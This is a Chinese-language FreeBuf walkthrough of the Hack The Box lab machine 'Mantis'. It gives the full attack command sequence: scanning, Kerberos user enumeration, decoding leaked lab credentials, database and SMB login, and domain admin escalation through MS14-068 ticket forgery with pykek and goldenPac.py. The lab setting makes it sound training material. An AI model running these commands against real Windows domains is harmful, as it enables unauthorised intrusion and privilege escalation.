freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HTB靶机渗透系列之Mantis
2022-04-20 23:54:24
所属地 浙江省

Mantis是一个困难的靶机,知识点涉及多种进制解码、SQL server数据库、smb利用、黄金票据、ms14-068提权等。感兴趣的同学可以在HackTheBox中进行学习。

截屏2021-10-26 下午3.31.40
通关思维导图
Mantis

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.52 -oA nmap_Mantis

截屏2021-10-26 下午4.28.34
截屏2021-10-26 下午4.29.20
截屏2021-10-26 下午4.29.32
扫描结果显示目标开放了88、135、445、1433、1337、8080等多个端口

1337端口

访问后发现这是 IIS 7 的默认界面
截屏2021-10-26 下午4.35.16

尝试对目标进行目录扫描,结果显示存在目录/secure_notes

gobuster dir -u http://10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

截屏2021-10-27 下午2.07.45

8080端口

访问后发现这是一个博客站点
截屏2021-10-26 下午4.35.37

尝试对目标进行目录扫描,扫描结果显示存在目录/admin

gobuster dir -u http://10.10.10.52:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

截屏2021-10-27 下午2.34.17

访问该目录发现这是管理员登陆窗口,尝试使用弱口令爆破,但未发现可用账号密码
截屏2021-10-27 下午2.35.29

445端口

使用 smbmap 和 smbclient 测试 smb 服务,结果显示我们虽然能够通过 smb 匿名登录进行访问,但是其目录中不存在多余的文件。

smbmap -H 10.10.10.52
smbclient -N -L //10.10.10.52

截屏2021-10-27 下午2.16.37

使用 rpcclient 尝试连接,虽然能够连接但是仍然提示拒绝进入

rpcclient -U '' -N 10.10.10.52
rpc > querydispinfo
rpc > enumdomusers

截屏2021-10-27 下午2.19.50

88端口

使用 kerbrute 在当前域htb.local中爆破 kerberos 用户。kerbrute 默认在 kali 中未安装,我们可在 github 中进行下载获得并赋予执行权限

下载地址:https://github.com/ropnop/kerbrute/releases/tag/v1.0.3

./kerbrute userenum --domain htb.local /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.52

截屏2021-10-27 下午3.52.21

成功发现存在三个用户名,使用 impackets 中的 GetNPUser.py 检测具有“不需要 Kerberos 预认证“属性的用户,但不幸的是这几个用户都没有该属性

cp /usr/share/doc/python3-impacket/examples/GetNPUsers.py . 
for user in $(cat users); do python3 GetNPUsers.py htb.local/${user} -no-pass -dc-ip 10.10.10.52 2>/dev/null | grep -F -e '[+]' -e '[-]';done

截屏2021-10-27 下午2.56.31

密码信息泄漏

访问目录/secure_notes,虽然我们无法查看web.config,但是可访问dev_notes_xxx.txt
截屏2021-10-27 下午3.35.01

其中包含了搭建 OrchardCMS 的相关步骤,如下载 SQL server 数据库、创建对应数据库和管理员等
截屏2021-10-27 下午3.35.20

除了以上信息,在底部我们还发现一串二进制代码,通过提示可知 OrchardCMS 将这串二进制作为 admin 用户的凭证,而SQL server 管理员用户 sa 的凭证则是文件名
截屏2021-10-27 下午3.37.04

OrchardCMS密码

首先使用 perl 和 shell 脚本将该二进制代码成功解码,密码为@dm!n_P@ssW0rd!

perl -lpe '$_=pack"B*",$_' < <(echo 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001)

截屏2021-10-27 下午3.42.56

SQLserver密码

将 txt 文件名中的密文进行 base64 解码,结果显示其中所有两位十六进制值似乎都属于ASCII码范围

echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d

截屏2021-10-27 下午3.45.32

尝试使用 xxd 来解码 base64 转换后的十六进制字符,成功拿到密码为m$$ql_S@_P@ssW0rd!

echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d | xxd -r -p

截屏2021-10-27 下午3.48.43

0x02 上线[james]

SQLserver数据库登录

使用默认数据库管理员sa/m$$ql_S@_P@ssW0rd!进行数据库登录,但登录失败

cp /root/Desktop/impacket/examples/mssqlclient.py . 
python3 mssqlclient.py 'sa:m$$ql_S@_P@ssW0rd!@10.10.10.52'

截屏2021-10-27 下午3.59.04

切换至 OrchardCMS 的管理员用户 admin 后登陆成功

python3 mssqlclient.py 'admin:m$$ql_S@_P@ssW0rd!@10.10.10.52'

截屏2021-10-27 下午3.59.20

为了更直观地看到数据库中的信息,我们使用 dbeaver 进行查看
截屏2021-10-27 下午4.01.54
截屏2021-10-27 下午4.02.27

但是点击测试后出现以下报错信息,查询谷歌后可知:我们需要修改java.security文件
截屏2021-10-27 下午4.12.58

通过命令 locate 定位该文件

locate java.security

截屏2021-10-27 下午4.17.35

在其中寻找jdk.tls.disabledAlgorithms并修改如下

jdk.tls.disabledAlgorithms=SSLv3, RC4, DES, MD5withRSA, \
    DH keySize < 1024, EC keySize < 224, 3DES_EDE_CBC, anon, NULL, \
    include jdk.disabled.namedCurves

截屏2021-10-27 下午4.17.25

重连数据库成功,开始寻找数据库中的有用的信息
截屏2021-10-27 下午4.25.26

orcharddb/Schemas/dbo/Tables/blog_Orchard_Users_UserPartRecord下找到一个账号密码James/J@m3s_P@ssW0rd!,电子邮件为james@htb.local,可能是系统用户
截屏2021-10-27 下午4.33.04

smb登陆

使用 crackmapexec 检测以上账号密码是否可登陆系统的 smb 服务,结果显示登陆成功

crackmapexec smb 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'

截屏2021-10-27 下午4.36.11

使用 smbmap 测试 smb 共享,能够读目录SYSVOLNETLOGON

smbmap -H 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'

截屏2021-10-27 下午4.37.58

使用 rpcclient 连接并查看当前所有用户

rpcclient -U htb.local/james 10.10.10.52
rpc > enumdomusers

截屏2021-10-27 下午4.39.50

通过 james 身份查看 kerberos 信息,但是未返回信息

python3 GetNPUsers.py 'htb.local/james:J@m3s_P@ssW0rd!' -dc-ip 10.10.10.52

截屏2021-10-27 下午4.41.06

0x03 权限提升[system]

地址解析

首先修改本地 hosts 文件完成域名解析

vim /etc/hosts
# 配置
10.10.10.52 mantis.htb.local mantis
10.10.10.52 htb.local

ms14-068提权

ms14-068漏洞产生的原因是普通用户向kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么返回给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送给KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。利用条件也非常简单,我们只需要拥有任意域用户的用户名、SID、密码即可获取域管理员权限。

参考文章:https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html

首先安装 kerberos 软件

apt-get install krb5-user cifs-utils rdate

修改DNS配置

vim /etc/resolv.conf
# 配置
nameserver 10.10.10.52

krb5.conf中修改 kerberos 域的相关信息

vim /etc/krb5.conf
# 配置
[libdefaults]
	default_realm = HTB.LOCAL

# The following krb5.conf variables are only for MIT Kerberos.
	kdc_timesync = 1
	ccache_type = 4
	forwardable = true
	proxiable = true

[realms]
    HTB.LOCAL = {
	   kdc = mantis.htb.local:88
	   admin_server = mantis.htb.local
	   default_domain = HTB.LOCAL 
	}
[domain_realm]
	.domain.internal = HTB.LOCAL
	domain.internal = HTB.LOCAL

与域控制器同步时间

rdate -n 10.10.10.52

截屏2021-10-28 上午10.35.23

使用 kinit 生成 james 用户票据

需要注意的是需要将域名改成大写,否则会报错

kinit -V james@htb.local

截屏2021-10-28 上午10.06.07

将域名大写后票据生成成功,接下来需要将该用户票据锻造成黄金票据

kinit -V james@HTB.LOCAL
klist

截屏2021-10-28 上午10.38.20

使用 rpcclient 获取当前用户的 SID

rpcclient -U james 10.10.10.52
rpc > lookupnames james

截屏2021-10-28 上午10.02.34

使用工具 pykek 来生成黄金票据

git clone https://github.com/mubix/pykek && cd pykek
python2 ms14-068.py -u james@htb.local -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis.htb.local

截屏2021-10-28 上午10.46.48

成功生成后将其复制到票据使用的位置

cp TGT_james@htb.local.ccache /tmp/krb5cc_0

截屏2021-10-28 上午10.48.21

再次连接 smb 服务可直接下载并查看其中的root.txt

smbclient -k -U james \\\\mantis.htb.local\\C$
smb > get Users\administrator\desktop\root.txt

截屏2021-10-28 上午11.15.51
截屏2021-10-28 上午11.16.39

使用 impacket 中的 goldenPac.py 可直接获取系统权限

python3 goldenPac.py htb.local/james:J@m3s_P@ssW0rd\!@mantis.htb.local

截屏2021-10-28 上午9.52.07

在用户 james 和管理员桌面上寻找flag

dir c:\Users\james\Desktop
type c:\Users\james\Desktop\user.txt
dir c:\Users\Administrator\Desktop
type c:\Users\Administrator\Desktop\root.txt

截屏2021-10-28 上午9.56.32
截屏2021-10-28 上午9.57.43
成功获取两个flag

总结:该靶机中存在多个端口,完成对这些端口的探测后发现1337端口的HTTP服务中存在密码信息泄漏,将密码解后可成功获取数据库和OrachardCMS的密码明文。使用CMS的账号密码可成功登陆数据库,在其中找到系统域用户的账号密码,验证该账号密码可成功登陆smb服务,既然该用户是域用户,我们可以借助ms14-068漏洞生成黄金票据并最终成功拿到系统权限。

# HTB渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录